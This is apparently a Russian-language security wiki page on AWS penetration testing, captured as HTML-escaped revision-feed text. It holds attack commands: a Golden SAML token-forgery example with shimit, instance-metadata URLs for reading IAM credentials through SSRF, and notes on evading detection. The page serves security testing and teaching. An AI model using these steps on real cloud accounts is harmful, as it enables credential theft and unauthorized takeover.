Cервис хранилища AWS, оптимизированный для мультимедийных материалов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.data.mediastore.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Kinesis Video Streams ==&lt;br /&gt;
&lt;br /&gt;
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.kinesisvideo.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaConvert ==&lt;br /&gt;
&lt;br /&gt;
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediaconvert.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaPackage ==&lt;br /&gt;
&lt;br /&gt;
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECR (Elastic Container Registry) ==&lt;br /&gt;
&lt;br /&gt;
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ecr:ListImages ====&lt;br /&gt;
&lt;br /&gt;
Получить список образов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr list-images --repository-name &amp;lt;ECR_name&amp;gt; --registry-id &amp;lt;UserID&amp;gt; --region &amp;lt;region&amp;gt; --profile &amp;lt;profile_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить URL на скачивание образа.&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr get-login&lt;br /&gt;
docker pull &amp;lt;UserID&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/&amp;lt;ECRName&amp;gt;:latest&lt;br /&gt;
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Вычисление ролей ==&lt;br /&gt;
&lt;br /&gt;
=== enumerate-iam ===&lt;br /&gt;
github.com:andresriancho/enumerate-iam.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
=== Golden SAML ===&lt;br /&gt;
&lt;br /&gt;
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps&lt;br /&gt;
&lt;br /&gt;
==== shimit ====&lt;br /&gt;
https://github.com/cyberark/shimit&lt;br /&gt;
&lt;br /&gt;
Установка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
cd /tmp&lt;br /&gt;
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml&lt;br /&gt;
git clone https://github.com/cyberark/shimit&lt;br /&gt;
cd shmit&lt;br /&gt;
python shmit.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.&lt;br /&gt;
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем приватный ключ&lt;br /&gt;
[System.Convert]::ToBase64String($cer.rawdata)&lt;br /&gt;
(Get-ADFSProperties).Identifier.AbsoluteUri&lt;br /&gt;
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule&lt;br /&gt;
&lt;br /&gt;
# Получаем инфу о юзерах - выбираем цель&lt;br /&gt;
aws iam list-users&lt;br /&gt;
&lt;br /&gt;
# Получаем токен&lt;br /&gt;
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file&lt;br /&gt;
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012&lt;br /&gt;
&lt;br /&gt;
# Проверяем текущий аккаунт&lt;br /&gt;
aws opsworks describe-my-user-profile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Проверки безопасности ==&lt;br /&gt;
&lt;br /&gt;
Для администраторов преимущественно.&lt;br /&gt;
&lt;br /&gt;
=== Zeus ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/DenizParlak/Zeus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Другое ==&lt;br /&gt;
&lt;br /&gt;
=== aws_consoler ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/NetSPI/aws_consoler&lt;br /&gt;
&lt;br /&gt;
== All-In-One ==&lt;br /&gt;
&lt;br /&gt;
=== pacu ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/pacu&lt;br /&gt;
&lt;br /&gt;
=== ScoutSuite ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/nccgroup/ScoutSuite&lt;br /&gt;
&lt;br /&gt;
=== cloudfox ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/BishopFox/cloudfox&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 Damn Vulnerable Cloud Application]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[http://flaws.cloud Flaws]&lt;br /&gt;
&lt;br /&gt;
[http://flaws2.cloud/ Flaws]&lt;br /&gt;
&lt;br /&gt;
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs]&lt;br /&gt;
&lt;br /&gt;
[https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1]&lt;br /&gt;
&lt;br /&gt;
== Краткие заметки ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]&lt;br /&gt;
&lt;br /&gt;
[https://learntocloud.guide/#/phase5/README learntocloud(много ссылок)]&lt;br /&gt;
&lt;br /&gt;
== Книги ==&lt;br /&gt;
&lt;br /&gt;
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Aws&amp;diff=1208</id>
		<title>Aws</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Aws&amp;diff=1208"/>
				<updated>2022-09-30T16:19:18Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* Лаборатории */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.&lt;br /&gt;
&lt;br /&gt;
= Организационные моменты =&lt;br /&gt;
&lt;br /&gt;
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/&lt;br /&gt;
&lt;br /&gt;
= Общие концепции =&lt;br /&gt;
&lt;br /&gt;
== Службы ==&lt;br /&gt;
&lt;br /&gt;
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Это экосистема многих сервисов. И AWS стремится увеличить их количество.&lt;br /&gt;
&lt;br /&gt;
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Регионы ==&lt;br /&gt;
&lt;br /&gt;
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+Регионы AWS&lt;br /&gt;
|-&lt;br /&gt;
| '''Название региона'''&lt;br /&gt;
| '''Endpoint(HTTPS)'''&lt;br /&gt;
|-&lt;br /&gt;
|us-east-2&lt;br /&gt;
|rds.us-east-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-east-1&lt;br /&gt;
|rds.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-1&lt;br /&gt;
|rds.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-2&lt;br /&gt;
|rds.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|af-south-1&lt;br /&gt;
|rds.af-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.af-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-east-1&lt;br /&gt;
|rds.ap-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-3&lt;br /&gt;
|rds.ap-southeast-3.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|ap-south-1&lt;br /&gt;
|rds.ap-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-3&lt;br /&gt;
|rds.ap-northeast-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-2&lt;br /&gt;
|rds.ap-northeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-1&lt;br /&gt;
|rds.ap-southeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-2&lt;br /&gt;
|rds.ap-southeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-1&lt;br /&gt;
|rds.ap-northeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ca-central-1&lt;br /&gt;
|rds.ca-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|eu-central-1&lt;br /&gt;
|rds.eu-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-central-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-1&lt;br /&gt;
|rds.eu-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-2&lt;br /&gt;
|rds.eu-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-south-1&lt;br /&gt;
|rds.eu-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-3&lt;br /&gt;
|rds.eu-west-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-north-1&lt;br /&gt;
|rds.eu-north-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-north-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|me-south-1&lt;br /&gt;
|rds.me-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.me-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|sa-east-1&lt;br /&gt;
|rds.sa-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.sa-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-east-1&lt;br /&gt;
|rds.us-gov-east-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-west-1&lt;br /&gt;
|rds.us-gov-west-1.amazonaws.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Или только регионы (могут пригодиться при переборе):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
us-east-2&lt;br /&gt;
us-east-1&lt;br /&gt;
us-west-1&lt;br /&gt;
us-west-2&lt;br /&gt;
af-south-1&lt;br /&gt;
ap-east-1&lt;br /&gt;
ap-southeast-3&lt;br /&gt;
ap-south-1&lt;br /&gt;
ap-northeast-3&lt;br /&gt;
ap-northeast-2&lt;br /&gt;
ap-southeast-1&lt;br /&gt;
ap-southeast-2&lt;br /&gt;
ap-northeast-1&lt;br /&gt;
ca-central-1&lt;br /&gt;
eu-central-1&lt;br /&gt;
eu-west-1&lt;br /&gt;
eu-west-2&lt;br /&gt;
eu-south-1&lt;br /&gt;
eu-west-3&lt;br /&gt;
eu-north-1&lt;br /&gt;
me-south-1&lt;br /&gt;
sa-east-1&lt;br /&gt;
us-gov-east-1&lt;br /&gt;
us-gov-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Доступы ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Консольная утилита(awscli) ==&lt;br /&gt;
&lt;br /&gt;
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.&lt;br /&gt;
&lt;br /&gt;
Утилита работает с настроенными профилями.&lt;br /&gt;
&lt;br /&gt;
=== Файлы ===&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/credentials ====&lt;br /&gt;
&lt;br /&gt;
Файл с учетными данными профилей.  Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.&lt;br /&gt;
&lt;br /&gt;
У каждого профиля будет указан:&lt;br /&gt;
&lt;br /&gt;
* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с &amp;quot;AKIA...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Access Key - 40 случайных символов различного регистра.&lt;br /&gt;
&lt;br /&gt;
* Access Token - не всегда указывается&lt;br /&gt;
&lt;br /&gt;
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings&lt;br /&gt;
&lt;br /&gt;
Пример содержимого файла (сохранен профиль default):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
aws_access_key_id=AKIAIOSFODNN7EXAMPLE&lt;br /&gt;
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;br /&gt;
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/config ====&lt;br /&gt;
&lt;br /&gt;
Файл с региональными настройками профиля(регион по-умолчанию). &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
region=us-west-2&lt;br /&gt;
output=json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/cli/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные учетные данные&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/sso/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные данные Single-Sign-On&lt;br /&gt;
&lt;br /&gt;
=== Команды ===&lt;br /&gt;
&lt;br /&gt;
Общее построение команды выглядит как:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws &amp;lt;название_сервиса&amp;gt; &amp;lt;действие&amp;gt; &amp;lt;дополнительные_аргументы&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Вывести все S3-хранилища.&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&lt;br /&gt;
# Создание нового пользователя - сервис IAM&lt;br /&gt;
aws iam create-user --user-name aws-admin2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMDS (Instance Metadata Service) ==&lt;br /&gt;
&lt;br /&gt;
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.&lt;br /&gt;
&lt;br /&gt;
Есть 2 версии:&lt;br /&gt;
&lt;br /&gt;
*IMDSv1 - версия 1 по-умолчанию, не требует токен. &lt;br /&gt;
&lt;br /&gt;
*IMDSv2 - версия 2, для запросов требуется токен.&lt;br /&gt;
&lt;br /&gt;
Запрос без токена:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
curl http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запрос с токеном:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
TOKEN=`curl -X PUT &amp;quot;http://169.254.169.254/latest/api/token&amp;quot; -H &amp;quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;quot;` &amp;amp;&amp;amp; curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; -v http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# В начале делаем запрос на директорию /security-credentials/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;br /&gt;
# Потом выбираем нужный аккаунт и делаем запрос на него&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример ответа:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{ &lt;br /&gt;
    &amp;quot;Code&amp;quot; : &amp;quot;Success&amp;quot;, &lt;br /&gt;
    &amp;quot;LastUpdated&amp;quot; : &amp;quot;2019-12-03T07:15:34Z&amp;quot;, &lt;br /&gt;
    &amp;quot;Type&amp;quot; : &amp;quot;AWS-HMAC&amp;quot;, &lt;br /&gt;
    &amp;quot;AccessKeyId&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;SecretAccessKey&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Token&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Expiration&amp;quot; : &amp;quot;2019-12-03T13:50:22Z&amp;quot;&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После чего эти учетные данные можно использовать с awscli.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другие полезные Endpoint'ы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://169.254.169.254/&lt;br /&gt;
http://169.254.169.254/latest/user-data&lt;br /&gt;
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance&lt;br /&gt;
http://169.254.169.254/latest/meta-data/ami-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/reservation-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/hostname&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access&lt;br /&gt;
http://169.254.169.254/latest/dynamic/instance-identity/document&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ролевая модель =&lt;br /&gt;
&lt;br /&gt;
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:&lt;br /&gt;
&lt;br /&gt;
* trust policy - определяет, чья будет роль&lt;br /&gt;
&lt;br /&gt;
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Каждая политика состоит из следующих компонентов:&lt;br /&gt;
&lt;br /&gt;
* Ресурс - цель, кому выдается правило. Может быть:&lt;br /&gt;
** Пользователь&lt;br /&gt;
** Группа, в которой могут быть аккаунты по какому то признаку&lt;br /&gt;
** Другая политика.&lt;br /&gt;
&lt;br /&gt;
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)&lt;br /&gt;
&lt;br /&gt;
* Тип правила(Effect) - разрешение или запрет.&lt;br /&gt;
&lt;br /&gt;
* Политика(Policy) - совокупность Роль(действие) -&amp;gt; разрешение/запрет -&amp;gt; Ресурс(кому).&lt;br /&gt;
&lt;br /&gt;
* Условия(Condition) - отдельные условия, например, ip.&lt;br /&gt;
&lt;br /&gt;
Пример политики:&lt;br /&gt;
